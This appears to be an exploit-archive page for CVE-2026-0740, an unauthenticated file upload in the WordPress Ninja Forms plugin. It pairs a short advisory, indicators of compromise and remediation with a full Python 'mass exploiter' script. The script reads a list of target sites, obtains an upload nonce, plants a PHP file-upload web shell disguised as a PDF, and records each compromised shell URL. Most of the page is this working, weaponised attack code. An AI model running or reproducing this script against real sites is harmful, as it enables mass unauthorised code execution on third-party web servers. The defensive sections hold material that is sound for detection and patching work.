PoC Archive PoC Archive
High CVE-2026-0740 unpatched

WordPress Ninja Forms Plugin Unauthenticated File Upload — CVE-2026-0740

by murrez · 2026-07-05

Severity
High
CVE
CVE-2026-0740
Category
web
Affected product
WordPress "Ninja Forms" plugin — file upload field/module
Affected versions
Vulnerable Ninja Forms versions exposing nf_fu_get_new_nonce / nf_fu_upload AJAX actions without adequate restriction (exact version range not specified in source)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / Researchermurrez
CVE / AdvisoryCVE-2026-0740
Categoryweb
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagswordpress, ninja-forms, file-upload, webshell, admin-ajax, plugin-vulnerability, cwe-434
RelatedN/A

Affected Target

FieldValue
Software / SystemWordPress “Ninja Forms” plugin — file upload field/module
Versions AffectedVulnerable Ninja Forms versions exposing nf_fu_get_new_nonce / nf_fu_upload AJAX actions without adequate restriction (exact version range not specified in source)
Language / PlatformPython 3 (requests) targeting WordPress wp-admin/admin-ajax.php
Authentication RequiredNo
Network Access RequiredYes

Summary

Ninja Forms exposes a file-upload field feature reachable via WordPress’s admin-ajax.php endpoint. The PoC script first requests a fresh nonce through the nf_fu_get_new_nonce action, then uses that nonce to submit a file via the nf_fu_upload action. Because the upload handler does not adequately restrict the uploaded file type/extension, an attacker can upload a PHP web shell disguised as a form attachment, which the plugin stores at a predictable, web-accessible path. The script iterates over a list of candidate targets, attempts the nonce-then-upload sequence against each, and records any resulting shell URLs for later access.


Vulnerability Details

Root Cause

Insufficient validation of uploaded file type/extension in the Ninja Forms file-upload AJAX handler (nf_fu_upload), allowing arbitrary file (including PHP) uploads to a web-accessible directory (CWE-434: Unrestricted Upload of File with Dangerous Type).

Attack Vector

  1. Send a POST request to wp-admin/admin-ajax.php with action=nf_fu_get_new_nonce (plus form_id/field_id) to obtain a valid upload nonce.
  2. Submit a multipart POST with action=nf_fu_upload, the retrieved nonce, and a PHP payload disguised as the configured SHELL_NAME.
  3. If the upload succeeds, the plugin returns/stores a path from which the uploaded file (PHP web shell) can be directly requested.
  4. Access the resulting URL to execute arbitrary PHP code on the server.

Impact

Unauthenticated arbitrary file upload leading to remote code execution on the underlying WordPress server via a planted PHP web shell.


Environment / Lab Setup

Target:   WordPress site running a vulnerable version of the Ninja Forms plugin with an exposed file-upload form
Attacker: Python 3 with requests + urllib3 (pip install requests urllib3)

Proof of Concept

PoC Script

See ninja.py in this folder. (Note: the upstream repository’s list.txt, containing ~1,900 real-world candidate target URLs, was intentionally excluded from this mirror as it is scan/target data rather than PoC source.)

1
python ninja.py

The script reads target site URLs from a local list.txt (one per line), requests a valid Ninja Forms upload nonce for each, attempts to upload a small PHP web shell (FORM_ID/FIELD_ID/SHELL_NAME/SHELL_CONTENT are configurable constants at the top of the script), and appends any successfully-uploaded shell URLs to shell.txt, printing a final success count.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected .php files present in the Ninja Forms upload directory (typically under wp-content/uploads/)
  • Outbound requests to unfamiliar PHP file paths matching a web shell interface
  • Spikes of automated admin-ajax.php requests from a single source IP across many form/field ID combinations

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — update Ninja Forms to the latest version and monitor plugin changelog for a fix addressing upload validation
Interim mitigationDisable or restrict the file-upload form field, enforce strict file-extension/MIME allowlisting at the web server level, and disable PHP execution in uploads directories

References


Notes

Mirrored from https://github.com/murrez/CVE-2026-0740 on 2026-07-05.

ninja.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
import requests
import urllib3
import sys
import json
import re

urllib3.disable_warnings()

HEADERS = {'User-Agent': 'Mozilla/5.0'}
FORM_ID = "7"
FIELD_ID = "7"
SHELL_NAME = "murrez.php"

SHELL_CONTENT = '''<?php if(isset($_FILES['f'])){move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);echo "Uploaded: ".$_FILES['f']['name'];}?><form method="POST" enctype="multipart/form-data"><input type="file" name="f"><button>Upload</button></form>'''

def exploit_target(target_url):
    target_url = target_url.rstrip('/')
    ajax_url = f"{target_url}/wp-admin/admin-ajax.php"
    
    print(f" Attack on: {target_url}")
    
    # Ambil nonce
    print("[*] Getting nonce...")
    nonce_payload = {
        'action': 'nf_fu_get_new_nonce',
        'field_id': FIELD_ID,
        'form_id': FORM_ID
    }
    
    try:
        r = requests.post(ajax_url, data=nonce_payload, headers=HEADERS, verify=False, timeout=15)
        
        print(f"[*] HTTP Status: {r.status_code}")
        print(f"[*] Response: {r.text[:200]}")
        
        if r.status_code != 200:
            print(f"[-] HTTP Error: {r.status_code}\n")
            return None
        
        # Ekstrak JSON
        raw_text = r.text
        json_match = re.search(r'(\{.*\})', raw_text, re.DOTALL)
        
        if json_match:
            response = json.loads(json_match.group(1))
        else:
            response = r.json()
        
        if not response.get('success'):
            print("[-] Failed to retrieve nonce!\n")
            return None
            
        nonce = response['data']['nonce']
        print(f"[+] Nonce: {nonce}")
        
    except Exception as e:
        print(f"[-] Error: {e}\n")
        return None
    
    # Upload shell
    print("[*] Uploading shell...")
    files = {f"files-{FIELD_ID}": ("doc.pdf", SHELL_CONTENT, "application/pdf")}
    data = {
        'action': 'nf_fu_upload',
        'nonce': nonce,
        'form_id': FORM_ID,
        'field_id': FIELD_ID,
        'doc_pdf': SHELL_NAME
    }
    
    try:
        r = requests.post(ajax_url, data=data, files=files, headers=HEADERS, verify=False, timeout=25)
        print(f"[*] Upload response: {r.text[:500]}")
        
        # Ekstrak JSON
        raw_text = r.text
        json_match = re.search(r'(\{.*\})', raw_text, re.DOTALL)
        
        if json_match:
            response_data = json.loads(json_match.group(1))
        else:
            response_data = r.json()
        
        if response_data.get('data', {}).get('files'):
            for file_info in response_data['data']['files']:
                if file_info.get('tmp_name') == SHELL_NAME and file_info.get('error') == 0:
                    shell_url = f"{target_url}/wp-content/uploads/ninja-forms/tmp/{SHELL_NAME}"
                    print(f"\n{'='*60}")
                    print(f"🔥 SHELL UPLOADER: {shell_url}")
                    print(f"{'='*60}\n")
                    return shell_url
        
        print("[-] Fail!\n")
        return None
            
    except Exception as e:
        print(f"[-] Upload error: {e}\n")
        return None

def main():
    print("""
     NINJA FORMS MASS EXPLOITER 
    """)
    
    try:
        with open('list.txt', 'r') as f:
            targets = [line.strip() for line in f if line.strip()]
    except FileNotFoundError:
        print("list.txt not found!")
        sys.exit(1)
    
    print(f"[+] Loaded {len(targets)} targets\n")
    
    successful = []
    
    for i, target in enumerate(targets, 1):
        print(f"[{i}/{len(targets)}]")
        shell_url = exploit_target(target)
        
        if shell_url:
            successful.append(shell_url)
            with open('shell.txt', 'a') as f:
                f.write(f"{shell_url}\n")
    
    print(f"\n{'='*60}")
    print(f"[+] Total success: {len(successful)}/{len(targets)}")
    print(f"[+] Saved to shell.txt")
    print(f"{'='*60}")

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("\n[!] Interrupted by user")
        sys.exit(0)